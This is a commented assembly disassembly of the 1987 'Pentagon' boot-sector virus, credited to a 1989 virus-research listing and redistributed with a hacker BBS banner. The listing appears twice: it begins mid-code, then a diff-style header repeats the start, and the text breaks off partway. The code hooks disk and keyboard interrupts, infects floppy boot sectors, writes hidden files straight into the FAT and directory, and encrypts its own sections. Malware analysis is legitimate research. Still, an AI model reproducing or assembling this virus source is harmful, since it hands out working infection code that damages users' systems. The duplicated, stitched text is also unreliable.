JMP FAR PTR EXIT
BP0129: LODSB
OR AL,AL
JZ BP0150
MOV AH,0EH
MOV BX,7
INT 10H
JMP BP0129
BP0137: XOR DX,DX
DIV DW7C18
INC DL
MOV DB7C3B,DL
XOR DX,DX
DIV DW7C1A
MOV DB7C2A,DL
MOV DW7C39,AX
BP0150: RET
MOV AH,2
MOV DX,DW7C39
MOV CL,6
SHL DH,CL
OR DH,DB7C3B
MOV CX,DX
XCHG CH,CL
MOV DL,DB7DFD
MOV DH,DB7C2A
INT 13H
RET
DB 0DH, 0AH, 'Non-System disk or disk error', 0DH, 0AH
DB 'Replace and strike any key when ready', 0DH, 0AH, 0
DB 0DH, 0AH, 'Disk Boot failure', 0DH, 0AH, 0
DB 'IBMBIO COMIBMDOS COM'
ORG 01FEH
DW 0AA55H
; Second sector of virus
BP0200: CLI
MOV SP,0F000H ; Reset stack pointer
STI
XOR AX,AX ; \ Address zero
MOV DS,AX ; /
MOV BX,004CH ; INT 13H jump address
MOV BP,01A0H ; INT 68H jump address
CMP WORD PTR DS:[BP+0],0 ; Is INT 68H in use
JE BP0219 ; Branch if not
JMP BP024E
BP0219: MOV AX,[BX] ; Get INT 13H offset
MOV DS:[BP+0],AX ; Set INT 68H to this offset
MOV AX,[BX+2] ; Get INT 13H segment
MOV DS:[BP+2],AX ; Set INT 68H to this segment
MOV WORD PTR [BX],OFFSET BP04C4 ; Set address of INT 13H routine
MOV AX,CS ; \ Set INT 13H segment
MOV [BX+2],AX ; /
MOV BX,0024H ; INT 9 jump address
MOV BP,01A4H ; INT 69H jump address
MOV AX,[BX] ; Get INT 9 offset
MOV DS:[BP],AX ; Set INT 69H to this offset
MOV AX,[BX+2] ; Get INT 9 segment
MOV DS:[BP+2],AX ; Set INT 69H to this segment
MOV WORD PTR [BX],OFFSET BP0709 ; Set address of INT 9 routine
MOV AX,CS ; \ Set INT 9 segment
MOV [BX+02],AX ; /
JMP BP0254
BP024E: MOV BX,OFFSET BW0413 ; Address size of RAM
ADD WORD PTR [BX],5 ; Restore the 5K
BP0254: MOV BP,OFFSET DW008F ; Address virus pointer
MOV CX,CS:[BP] ; Get track and sector
MOV DX,CS:[BP+2] ; Get head and device
MOV BX,0200H ; Address second sector
MOV CX,3 ; Three sectors to read
BP0265: PUSH CX ; Save read count
MOV AX,0201H ; Read one sector
MOV CX,CS:[BP] ; Get track and sector
CALL BP0300 ; Address to next sector
MOV CS:[BP],CX ; Save new track and sector
ADD BX,0200H ; Address next buffer area
CALL BP031B ; Read from disk
JNB BP0280 ; Branch if no error
POP CX
INT 18H ; Drop into basic
; Read file, first sector
BP0280: POP CX ; Retrieve read count
LOOP BP0265 ; Repeat for other sectors
MOV BP,OFFSET DW00D0 ; Address file pointers
MOV CX,CS:[BP] ; Get track and sector
MOV DX,CS:[BP+2] ; Get head and drive
MOV BX,1000H ; Buffer address
MOV AX,0201H ; Read one sector
CALL BP031B ; Read from disk
JNB BP029B ; Branch if no error
INT 18H ; Drop into basic
; Read file, second sector
BP029B: CALL BP0300 ; Address to next sector
ADD BX,0200H ; Update buffer address
MOV AX,0201H ; Read one sector
CALL BP031B ; Read from disk
JNB BP02AC ; Branch if no error
INT 18H ; Drop into basic
BP02AC: LEA CX,DB07E0 ; Address end of encrypted
LEA BX,DB0791 ; Address start of encrypted
SUB CX,BX ; Length to decrypt
MOV AL,0AAH ; Load encryption key
PUSH CS ; \ Set DS to CS
POP DS ; /
CALL BP0315 ; Decrypt
MOV AX,CS ; \
MOV ES,AX ; ) Set ES & DS to CS
MOV DS,AX ; /
MOV DI,0100H ; Middle of 1st sector
MOV SI,OFFSET DB07BC ; Address copyright message
MOV CX,0023H ; Length of copyright message
REPZ MOVSB ; Copy copyright message
PUSH CS ; \ Set DS to CS
POP DS ; /
MOV CX,0200H ; Length to decrypt
MOV BX,0800H ; Address boot sector store
MOV AL,0FCH ; Load encryption key
CALL BP0315 ; Decrypt
XOR AX,AX ; \ Segment zero
MOV ES,AX ; /
MOV DI,7C00H ; Boot sector buffer
MOV SI,0800H ; Address boot sector store
MOV CX,0200H ; Sector length
CLD
REPZ MOVSB ; Copy boot sector
DB 0EAH ; Far jump to boot sector
DW 7C00H, 0
DB 16 DUP (0)
; Address to next sector
BP0300: INC CL ; Increment sector number
CMP CL,0AH ; Is it sector ten?
JL BP0314 ; Branch if not
MOV CL,1 ; Set sector to one
INC DH ; Increment head
CMP DH,2 ; Is it head two?
JL BP0314 ; Branch if not
XOR DH,DH ; Set head to zero
INC CH ; Increment track
BP0314: RET
; Encrypt/decrypt
BP0315: XOR [BX],AL ; Encrypt a byte
INC BX ; Address next byte
LOOP BP0315 ; Repeat for count
RET
; Read from or write to disk
BP031B: PUSH SI
PUSH DI
MOV SI,AX ; Save function
MOV DI,CX ; Save track and sector
MOV CX,3 ; Number of retries
BP0324: PUSH CX
MOV AX,SI ; Retrieve function
MOV CX,DI ; Retrieve track and sector
INT 68H ; Disk I/O
JNB BP0338 ; Branch if no error
XOR AH,AH ; Reset sub-system
INT 68H ; Disk I/O
POP CX ; Retrieve number of retries
LOOP BP0324 ; Retry
STC
JMP BP033B
BP0338: POP CX ; Retrieve number of retries
MOV CX,DI ; Retrieve track and sector
BP033B: POP DI
POP SI
RET
; Find unused FAT entry pair
BP033E: PUSH AX
PUSH DX
PUSH ES
PUSH DI
PUSH CS
POP ES
MOV DX,CX ; Initial cluster number
XOR AL,AL ; Search for zero
BP0348: MOV CX,3 ; Three bytes to check
MOV DI,BX ; Address FAT entry pair
REPZ SCASB ; Scan for non-zero
CMP CX,0 ; Is FAT pair unused
JE BP0361 ; Branch if yes
ADD BX,3 ; Address next entry pair
ADD DX,2 ; Update entry count
CMP DX,0162H ; Entry 354?
JLE BP0348 ; Process entry pair if not
STC
BP0361: MOV CX,DX ; Cluster number found
POP DI
POP ES
POP DX
POP AX
RET
; Find and flag an unused entry
BP0368: TEST WORD PTR [BX],0FFFH ; Test first FAT entry
JZ BP0384 ; Branch if unused
INC CX ; Next entry number
INC BX ; Address 2nd entry
TEST WORD PTR [BX],0FFF0H ; Test second FAT entry
JZ BP038B ; Branch if unused
INC CX ; Next entry number
ADD BX,2 ; Address next entry pair
CMP CX,0163H ; Entry 355?
JLE BP0368 ; Process next FAT pair if not
STC
JMP BP0390
BP0384: OR WORD PTR [BX],0FFFH ; Flag 1st FAT entry EOF
JMP BP038F
BP038B: OR WORD PTR [BX],0FFF0H ; Flag 2nd FAT entry EOF
nop ; ** length adjustment, MASM 5.0
BP038F: CLC
BP0390: RET
; Unflag Brain virus bad clusters
BP0391: PUSH AX
PUSH BX
PUSH CX
PUSH DX
MOV DX,CX
BP0397: MOV AX,[BX] ; Get FAT entry
AND AX,0FFFH ; Isolate FAT entry
CMP AX,0FF7H ; Bad cluster?
JE BP03B8 ; Branch if yes
INC DX ; Add to cluster number
INC BX ; Address next entry
MOV AX,[BX] ; Get FAT entry
MOV CL,4 ; Bits to move
SHR AX,CL ; Move FAT entry
CMP AX,0FF7H ; Bad Cluster?
JE BP03C8 ; Branch if yes
INC DX ; Add to cluster number
ADD BX,2 ; Address next pair of entries
CMP DX,015FH ; Entry 351?
JLE BP0397 ; Process this pair if not
BP03B8: MOV WORD PTR [BX],0 ; \
MOV BYTE PTR [BX+2],0 ; ) Clear three entries
XOR WORD PTR [BX+3],0FF7H ; /
JMP BP03D5
BP03C8: XOR WORD PTR [BX],0FF7H ; \
MOV WORD PTR [BX+2],0 ; ) Clear three entries
MOV BYTE PTR [BX+4],0 ; /
BP03D5: POP DX
POP CX
POP BX
POP AX
RET
; Convert cluster number to track, head and sector
BP03DA: PUSH AX
PUSH BX
SUB CX,2 ; Subtract number of 1st cluster
ADD CX,CX ; Two sectors per cluster
ADD CX,0CH ; Add sector num of 1st cluster
MOV AX,CX ; Copy sector number
PUSH AX ; Save sector number
MOV BL,9 ; Nine sectors per track
DIV BL ; Divide by sectors per track
INC AH ; First sector is one
MOV CL,AH ; Move sector number
XOR AH,AH ; Clear top of register
MOV BL,2 ; Two heads
DIV BL ; Divide by heads
MOV DH,AH ; Move head number
POP AX ; Retrieve sector number
MOV BL,12H ; 18 sectors per track (both sides)
DIV BL ; Divide by sectors per track
MOV CH,AL ; Move track number
POP BX
POP AX
RET
; Update directory
BP0401: PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
MOV CX,000FH ; Fifteen entries per sector
XOR DI,DI ; Start of sector
CMP AX,7 ; Is this first dir sector
JNE BP0416 ; Branch if not
SUB CX,3 ; Subtract three from count
ADD DI,60H ; Address fourth entry
BP0416: CMP BYTE PTR CS:DB07E1,0FFH ; Is Brain switch on?
JNE BP0443 ; Branch if not
CMP BYTE PTR ES:[BX+DI+0BH],8 ; Is it volume label?
JNE BP0443 ; Branch if not
MOV BYTE PTR CS:DB07E2,0FFH ; Set directory update switch on
PUSH SI
PUSH DI
PUSH CX
ADD DI,BX ; Add sector address
LEA SI,DB07B1 ; Address label
MOV CX,000BH ; Length of new label
CLD
REPZ MOVSB ; Copy label
MOV BYTE PTR CS:DB07E1,0 ; Set Brain switch off
POP CX
POP DI
POP SI
BP0443: CMP BYTE PTR ES:[BX+DI],0 ; Is entry unused?
JE BP0452 ; Branch if yes
ADD DI,20H ; Address next entry
LOOP BP0416 ; Process next entry
STC
JMP BP0487
BP0452: ADD DI,BX ; Add sector address
MOV BX,DI ; Move entry address
MOV BYTE PTR [BX],0F9H ; "Filename"
MOV BYTE PTR [BX+0BH],23H ; Read-only, hidden attributes
MOV CX,CS:DW0784 ; Get virus cluster number
MOV [BX+1AH],CX ; Store starting cluster
MOV WORD PTR [BX+1CH],0800H ; \ File size 2048
MOV WORD PTR [BX+1EH],0 ; /
ADD DI,20H ; Address next entry
MOV BX,DI ; Move entry address
LEA SI,DB0791 ; Address start of encrypted
MOV CX,0020H ; One complete entry to move
CLD
REPZ MOVSB ; Move entry
MOV CX,CS:DW0786 ; Get file cluster number
MOV [BX+1AH],CX ; Store starting cluster
CLC
BP0487: POP DI
POP SI
POP DX
POP CX
POP BX
RET
; Read actual boot sector - Brain infected
BP048D: PUSH AX
PUSH CX
PUSH DX
MOV CX,[BX+7] ; Get track and sector
MOV DH,[BX+6] ; Get head number
MOV AX,0201H ; Read one sector
CALL BP031B ; Read from disk
POP DX
POP CX
POP AX
RET
; Generate a sound
BP04A0: MOV BP,1 ; One loop
MOV AL,0B6H ; Counter two, both bytes, sq wave
OUT 43H,AL ; Set PIT control register
MOV AX,0533H ; Sound frequency
OUT 42H,AL ; Send first byte
MOV AL,AH ; Get second byte
OUT 42H,AL ; Send second byte
IN AL,61H ; Get port B
MOV AH,AL ; Save port B value
OR AL,3 ; Set sound bits on
OUT 61H,AL ; Send port B
SUB CX,CX ; Maximum loop count
BP04BA: LOOP BP04BA ; Delay
DEC BP ; Decrement count of loops
JNZ BP04BA ; Branch if not zero (it won't be)
MOV AL,AH ; Recover original port B
OUT 61H,AL ; Send port B
RET
; Int 13H routine
BP04C4: STI
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH DS
PUSH SI
PUSH ES
PUSH DI
MOV CS:DB0790,DL ; Save device
CMP AH,2 ; Is function a read?
JE BP04DA ; Branch if yes
JMP BP06FC ; Pass on to BIOS
BP04DA: DEC CS:DB07E0 ; Decrement count
JZ BP04E4 ; Infect when zero
JMP BP06FC ; Pass on to BIOS
; Get boot sector
BP04E4: MOV BYTE PTR CS:DB07E0,10H ; Set count to 16
PUSH CS ; \
POP AX ; \ Set DS & ES to CS
MOV DS,AX ; /
MOV ES,AX ; /
MOV BX,0800H ; Address boot sector store
MOV CX,1 ; Track zero, sector one
MOV DH,0 ; Head zero
MOV DL,CS:DB0790 ; Load device
MOV AX,0201H ; Read one sector
CALL BP031B ; Read from disk
JNB BP0508 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
; Check for Brain virus
BP0508: CMP WORD PTR [BX+4],1234H ; Is it a Brain boot sector?
JNE BP051D ; Branch if not
MOV BYTE PTR CS:DB07E1,0FFH ; Set Brain switch on
CALL BP048D ; Read actual boot sector
JNB BP052D ; Branch if no error
JMP BP06FC ; Pass on to BIOS
; Check for Pentagon virus
BP051D: MOV BYTE PTR CS:DB07E1,0 ; Set Brain switch off
CMP WORD PTR [BX+4AH],577BH ; Is it infected by pentagon?
JNE BP052D ; Branch if not
JMP BP06FC ; Pass on to BIOS
; Check for DOS boot sector
BP052D: CMP WORD PTR [BX+01FEH],0AA55H ; Is it a valid boot sector
JE BP0538 ; Branch if yes
JMP BP06FC ; Pass on to BIOS
; Get first FAT sector
BP0538: ADD BX,0200H ; Update buffer address
INC CL ; Next sector
MOV AX,0201H ; Read one sector
CALL BP031B ; Read from disk
JNB BP0549 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
; Check media byte
BP0549: CMP BYTE PTR [BX],0FDH ; Is it 360K disk
JE BP0551 ; Branch if yes
JMP BP06FC ; Pass on to BIOS
; Get second sector of FAT
BP0551: ADD BX,0200H ; Update buffer address
INC CL ; Next sector
MOV AX,0201H ; Read one sector
CALL BP031B ; Read from disk
JNB BP0562 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
BP0562: CMP BYTE PTR CS:DB07E1,0FFH ; Test Brain switch
JNE BP0573 ; Branch if off
MOV BX,0A03H ; Address first cluster in FAT
MOV CX,2 ; First cluster is number two
CALL BP0391 ; Unflag Brain virus bad clusters
BP0573: MOV BX,0A96H ; \ Start from cluster 100
MOV CX,0064H ; /
CALL BP033E ; Find unused FAT entry pair
JNB BP0581 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
BP0581: MOV CS:DW0784,CX ; Save virus cluster number
INC CX ; Next cluster number
MOV [BX],CX ; Put it in first FAT entry
OR WORD PTR [BX+01],0FFF0H ; Flag 2nd entry as EOF
nop ; ** length adjustment, MASM 5.0
DEC CX ; Set cluster number back
CALL BP03DA ; Cluster num to trck/hd/sect
MOV CS:DW0788,CX ; Save virus track & sector
MOV CS:DW078A,DX ; Save virus head and drive
PUSH BP
MOV BP,OFFSET DW008F ; Address virus pointer
MOV CS:[BP+00],CX ; Save virus track & sector
MOV CS:[BP+03],DH ; Save virus head
POP BP
MOV BX,0A96H ; \ Start from cluster 100
MOV CX,0064H ; /
CALL BP0368 ; Find an unused FAT entry
JNB BP05B7 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
BP05B7: MOV CS:DW0786,CX ; Save file cluster number
CALL BP03DA ; Cluster num to trck/hd/sect
MOV CS:DW078C,CX ; Save file track & sector
MOV CS:DW078E,DX ; Save file head and drive
PUSH BP
MOV BP,OFFSET DW00D0 ; Address file pointers
MOV CS:[BP],CX ; Save track and sector
MOV CS:[BP+3],DH ; Save head
POP BP
MOV AL,0FCH ; Load encryption key
MOV BX,0800H ; Address boot sector store
MOV CX,0200H ; Length to encrypt
CALL BP0315 ; Encrypt/decrypt
MOV BYTE PTR CS:DB07E0,20H ; Set count to 32
LEA CX,DB07E0 ; Address end of encrypted
LEA BX,DB0791 ; Address start of encrypted
SUB CX,BX ; Length to encrypt
MOV AL,0AAH ; Load encryption key
CALL BP0315 ; Encrypt/decrypt
MOV BX,0200H ; Virus second sector
MOV AX,0301H ; Write one sector
MOV CX,CS:DW0788 ; Get virus track & sector
MOV DX,CS:DW078A ; Get virus head and drive
MOV DL,CS:DB0790 ; Load device
CALL BP031B ; Write to disk
JNB BP0613 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
BP0613: MOV AX,3 ; Three sectors to write
BP0616: PUSH AX ; Save write count
ADD BX,0200H ; Next sector buffer
MOV AX,0301H ; Write one sector
CALL BP0300 ; Address to next sector
CALL BP031B ; Write to disk
JB BP062D ; Branch if error
POP AX ; Retrieve write count
DEC AX ; Decrement count
JNZ BP0616 ; Repeat for each sector
JMP BP0631
BP062D: POP AX
JMP BP06FC ; Pass on to BIOS
; Write file
BP0631: LEA CX,DB07E0 ; Address end of encrypted
LEA BX,DB0791 ; Address start of encrypted
SUB CX,BX ; Length to encrypt
MOV AL,0AAH ; Load encryption key
CALL BP0315 ; Encrypt/decrypt
MOV BYTE PTR CS:DB07E0,10H ; Set count to 16
MOV CX,CS:DW078C ; Get file track & sector
MOV DX,CS:DW078E ; Get file head and drive
MOV DL,CS:DB0790 ; Load device
MOV BX,1000H ; Address file buffer
MOV AX,2 ; Two sectors to write
BP065B: PUSH AX ; Save write count
MOV AX,0301H ; Write one sector
CALL BP031B ; Write to disk
JB BP062D ; Branch if error
CALL BP0300 ; Address to next sector
ADD BX,0200H ; Address next sector buffer
POP AX ; Retrieve write count
DEC AX ; Decrement write count
JNZ BP065B ; Write each sector
MOV BX,OFFSET BP0059 ; Start of encrypted
MOV CX,OFFSET DB00C5-BP0059 ; Length to encrypt
MOV AL,0FCH ; Load encryption key
CALL BP0315 ; Encrypt
XOR BX,BX ; Address start of virus
MOV AX,0301H ; Write one sector
MOV CX,1 ; Track zero, sector 1
XOR DH,DH ; Head zero
CALL BP031B ; Write to disk
JNB BP068C ; Branch if no error
JMP BP06FC ; Pass on to BIOS
; Write 1st FAT sector
BP068C: MOV BX,OFFSET BP0059
MOV CX,OFFSET DB00C5-BP0059 ; Length to decrypt
MOV AL,0FCH ; Load encryption key
CALL BP0315 ; Decrypt
MOV BX,0A00H ; Address 1st FAT sector
MOV AX,0301H ; Write one sector
MOV CX,2 ; Track zero, sector 2
CALL BP031B ; Write to disk
JNB BP06A8 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
; Write 2nd FAT sector
BP06A8: ADD BX,0200H ; Address 2nd FAT sector
MOV AX,0301H ; Write one sector
INC CX ; Next sector
CALL BP031B ; Write to disk
JNB BP06B8 ; Branch if no error
JMP BP06FC ; Pass on to BIOS
; Create directory entries
BP06B8: MOV BX,0E00H ; Address directory
MOV CX,5 ; Track zero, sector 5
XOR DH,DH ; Head zero
MOV AX,7 ; Seven sectors to read
BP06C3: PUSH AX ; Save read count
MOV AX,0201H ; Read one sector
CALL BP0300 ; Address to next sector
CALL BP031B ; Read from disk
JB BP06F1 ; Branch if error
POP AX ; \ Retrieve and save read count
PUSH AX ; /
MOV BYTE PTR CS:DB07E2,0 ; Set directory update switch off
CALL BP0401 ; Update directory
JNB BP06F5 ; Branch if entry found
CMP BYTE PTR CS:DB07E2,0FFH ; Test directory update switch
JNE BP06EA ; Branch if off
MOV AX,0301H ; Write one sector
CALL BP031B ; Write to disk
BP06EA: POP AX ; Retrieve sector count
DEC AX ; Decrement sector count
JNZ BP06C3 ; Repeat for each sector
JMP BP06FC ; Pass on to BIOS
BP06F1: POP AX
JMP BP06FC ; Pass on to BIOS
BP06F5: POP AX
MOV AX,0301H ; Write one sector
CALL BP031B ; Write to disk
BP06FC: POP DI
POP ES
POP SI
POP DS
POP DX
POP CX
POP BX
POP AX
INT 68H ; Disk I/O
RETF 2
; Int 9 routine
BP0709: PUSH AX
PUSH BX
PUSH DS
MOV BYTE PTR CS:DB07E3,0 ; Set off reboot switch
XOR AX,AX ; \ Address zero
MOV DS,AX ; /
IN AL,60H ; Get keyboard token
MOV BX,OFFSET BB0417 ; Address Key states
TEST BYTE PTR [BX],8 ; Alt key depressed?
JZ BP0736 ; Branch if not
TEST BYTE PTR [BX],4 ; Ctrl key depressed?
JZ BP0736 ; Branch if not
CMP AL,53H ; Del character token?
JNE BP0736 ; Branch if not
XOR BYTE PTR [BX],0CH ; Set off Alt & Ctrl states
XOR AL,AL ; \ ?
OUT 60H,AL ; /
MOV BYTE PTR CS:DB07E3,0FFH ; Set on reboot switch
BP0736: POP DS
POP BX
POP AX
INT 69H ; Keyboard I/O
PUSHF
CMP BYTE PTR CS:DB07E3,0FFH ; Test reboot switch
JNE BP0765 ; Branch if off
POPF
MOV AX,3 ; Set mode three
INT 10H ; VDU I/O
CLI
MOV AL,0AH ; Repeat delay 10 times
XOR CX,CX ; Maximum loop
BP074F: LOOP BP074F ; Delay
DEC AL ; Decrement delay count
JNZ BP074F ; Repeat delay for count
CALL BP04A0 ; Generate a sound
XOR CX,CX ; Maximum loop
BP075A: LOOP BP075A ; Delay
MOV BYTE PTR CS:DB07E0,5 ; Set count to 5
STI
INT 19H ; Disk bootstrap
BP0765: POPF
RETF 2
DB 27 DUP (0)
DW0784 DW 0064H ; Cluster number of virus
DW0786 DW 0066H ; Cluster number of file
DW0788 DW 0B02H ; Virus track & sector
DW078A DW 0101H ; Virus head and drive
DW078C DW 0B06H ; File track and sector
DW078E DW 0101H ; File head and drive
DB0790 DB 1 ; Device number
DB0791 DB 'PENTAGONTXT', 21H, 17 DUP (0), 4, 0, 0
DB07B1 DB 'Pentagon,ZG'
DB07BC DB '(c) 1987 The Pentagon, Zorell Group$'
DB07E0 DB 20H ; Infection count
DB07E1 DB 0FFH ; Infected by Brain switch
DB07E2 DB 0 ; Directory update switch
DB07E3 DB 0 ; Reboot switch
DB ' first sector in segment', 0DH, 0AH, 9, 6DH
CODE ENDS
END START

@@ -0,0 +1,989 @@
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
page 65,132
title The 'Pentagon' Virus
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
; º British Computer Virus Research Centre º
; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º
; º Telephone: Domestic 0273-26105, International +44-273-26105 º
; º º
; º The 'Pentagon' Virus º
; º Disassembled by Joe Hirst, March 1989 º
; º º
; º Copyright (c) Joe Hirst 1989. º
; º º
; º This listing is only to be made available to virus researchers º
; º or software writers on a need-to-know basis. º
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
; The disassembly has been tested by re-assembly using MASM 5.0.
; The code section between offsets 59H and C4H (which is normally
; encrypted) appears to have been separately assemblied using A86.
; Virus is possibly an honorary term, at least for this sample,
; as all attempts to run it have so far failed.
; This virus consists of a boot sector and two files.
; The boot sector is a normal PCDOS 3.20 boot sector with three
; changes:
; 1. The OEM name 'IBM' has been changed to 'HAL'.
; 2. The first part of the virus code overwrites 036H to 0C5H.
; 3. 100H-122H has been overwritten by a character string.
; The name of the first file is the hex character 0F9H. This file
; contains the rest of the virus code followed by the original boot
; sector.
; The name of the second file is PENTAGON.TXT. This file does not
; appear to be used in any way or contain any meaningful data.
; Both files are created without the aid of DOS, and the first
; file is accessed by its stored absolute location.
; Four different sections of the virus are separately encrypted:
; 1. 004AH - 004BH, key 0ABCDH - load decryption key
; 2. 0059H - 00C4H, key 0FCH - rest of virus code in boot sector.
; 3. 0791H - 07DFH, key 0AAH - the file name and copyright message.
; 4. 0800H - 09FFH, key 0FCH - the original boot sector.
SEG70 SEGMENT AT 70H
ASSUME CS:SEG70
EXIT:
SEG70 ENDS
BOOT SEGMENT AT 0
ORG 413H
BW0413 DW ?
ORG 417H
BB0417 DB ?
ORG 51CH
BW051C DW ?
ORG 7C0BH
DW7C0B DW ?
ORG 7C18H
DW7C18 DW ?
DW7C1A DW ?
ORG 7C2AH
DB7C2A DB ?
ORG 7C37H
DW7C37 DW ?
DW7C39 DW ?
DB7C3B DB ?
DB7C3C DB ?
DW7C3D DW ?
ORG 7DB7H
DB7DB7 DB ?
ORG 7DFDH
DB7DFD DB ?
ORG 7E00H
DW7E00 DW ? ; DW008F - Track and sector of rest of code
DW7E02 DW ? ; DW0091 - Head and drive of rest of code
DW7E04 DW ? ; DW0093 - Segment address of virus
BOOT ENDS
CODE SEGMENT BYTE PUBLIC 'CODE'
ASSUME CS:CODE,DS:CODE
IF1
ORG 206H
BP0095X LABEL NEAR
ENDIF
ORG 0
START: JMP BP0036
DB 'HAL 3.2'
DW 512 ; BPB001 - Bytes per sector
DB 2 ; BPB002 - Sectors per allocation unit
DW 1 ; BPB003 - Reserved sectors
DB 2 ; BPB004 - Number of FATs
DW 112 ; BPB005 - Number of root dir entries
DW 720 ; BPB006 - Number of sectors
DB 0FDH ; BPB007 - Media Descriptor
DW 2 ; BPB008 - Number of sectors per FAT
DW 9 ; BPB009 - Sectors per track
DW 2 ; BPB010 - Number of heads
DW 0 ; BPB011 - Number of hidden sectors (low order)
BPB012 DW 0 ; Number of hidden sectors (high order)
DB 10 DUP (0)
HEADNO DB 0
; Interrupt 30 (1EH) - Disk parameter table
DSKTAB DB 4 DUP (0), 0FH, 4 DUP (0)
DB 1, 0
BP0036: CLI
MOV AX,CS ; \ Set SS to CS
MOV SS,AX ; /
MOV SP,0F000H ; Set stack pointer
MOV DS,AX ; Set DS to CS
STI
MOV BP,OFFSET BP0044+7C00H
BP0044: XOR WORD PTR [BP+6],0ABCDH ; Decrypt key instruction
NOP
DW004A EQU THIS WORD
MOV DH,0FCH ; Decryption key
MOV BP,OFFSET BP0059+7C00H ; Decryption start address
MOV CX,OFFSET DB00C5-BP0059 ; Length to decrypt
BP0052: XOR [BP+00],DH ; Decrypt a byte
INC BP ; Next byte
LOOP BP0052 ; Repeat for all of it
NOP
BP0059: XOR DW004A+7C00H,0ABCDH ; Re-encrypt key instruction
MOV AX,BW0413 ; Get RAM size in K
SUB AX,0005 ; Subtract five K
MOV BW0413,AX ; Replace amended RAM size
MOV CL,06 ; Bits to move
SHL AX,CL ; Convert to segment address
MOV DW0093+7C00H,AX ; Save segment address
NOP
MOV ES,AX ; Set ES to this segment
XOR DI,DI ; Move to start
MOV SI,7C00H ; From start of boot sector buffer
MOV CX,0200H ; Move one sector
CLD
REPZ MOVSB ; Move sector to high-core
NOP
; Move next section of code to a safe area
MOV DI,200H+7C00H
MOV SI,OFFSET DW008F+7C00H
MOV CX,OFFSET DB00C5-DW008F ; Length to move
PUSH DS ; \ Set ES to DS
POP ES ; /
CLD
REPZ MOVSB ; Copy program section
JMP BP0095X ; This is BP0095 in new location
DW008F DW 0B02H ; Track and sector of rest of code
DW0091 DW 100H ; Head and drive of rest of code
DW0093 DW 9EC0H ; Segment address of virus
BP0095: MOV CX,0004 ; Number of retries
BP0098: PUSH CX
MOV CX,DW7E00 ; Get track and sector number
MOV DX,DW7E02 ; Get head and drive number
MOV ES,DW7E04 ; Get buffer segment address
MOV BX,0200H ; Buffer offset
MOV AX,0201H ; Read one sector
INT 13H ; Disk I/O
JNB BP00B8 ; Branch if no error
POP CX
XOR AH,AH ; Reset floppy disk sub-system
INT 13H ; Disk I/O
LOOP BP0098 ; Retry
INT 18H ; Drop into basic
BP00B8: POP CX
MOV AX,OFFSET DW7E04 ; Address segment address
CLI
MOV SP,AX ; Point SP at segment address
STI
MOV AX,0200H ; \ Address of second section
PUSH AX ; /
RETF
DB00C5 DB 50H
; The rest of this sector is a normal PCDOS 3.20 boot sector
; which has been overwritten at 100H-122H by a character string
DB 61H, 0
XOR AH,AH
INT 16H
POP SI
POP DS
POP [SI]
DW00D0 DW 0B06H ; Track and sector numbers
DW00D2 DW 0100H ; Head and drive numbers
DB 19H
MOV SI,OFFSET DB7DB7
JMP NEAR PTR DB00C5
MOV AX,BW051C
XOR DX,DX
DIV DW7C0B
INC AL
MOV DB7C3C,AL
MOV AX,DW7C37
MOV DW7C3D,AX
MOV BX,0700H
MOV AX,DW7C37
CALL BP0137
MOV AX,DW7C18
SUB AL,DB7C3B
INC AX
PUSH AX
DB '(c) 1987 The Pentagon, Zorell Group'
DB 7CH
JMP FAR PTR EXIT
BP0129: LODSB
OR AL,AL
JZ BP0150
MOV AH,0EH
MOV BX,7
INT 10H
JMP BP0129
BP0137: XOR DX,DX
DIV DW7C18
INC DL
MOV DB7C3B,DL
XOR DX,DX
DIV DW7C1A
MOV DB7C2A,DL
MOV DW7C39,AX
BP0150: RET
MOV AH,2
MOV DX,DW7C39
MOV CL,6
SHL DH,CL
OR DH,DB7C3B
MOV CX,DX
XCHG CH,CL
MOV DL,DB7DFD
MOV DH,DB7C2A
INT 13H
RET
DB 0DH, 0AH, 'Non-System disk or disk error', 0DH, 0AH
DB 'Replace and strike any key when ready', 0DH, 0AH, 0
DB 0DH, 0AH, 'Disk Boot failure', 0DH, 0AH, 0
DB 'IBMBIO COMIBMDOS COM'
ORG 01FEH
DW 0AA55H
; Second sector of virus
BP0200: CLI
MOV SP,0F000H ; Reset stack pointer
STI
XOR AX,AX ; \ Address zero
MOV DS,AX ; /
MOV BX,004CH ; INT 13H jump address
MOV BP,01A0H ; INT 68H jump address
CMP WORD PTR DS:[BP+0],0 ; Is INT 68H in use
JE BP0219 ; Branch if not
JMP BP024E
BP0219: MOV AX,[BX] ; Get INT 13H offset
MOV DS:[BP+0],AX ; Set INT 68H to this offset
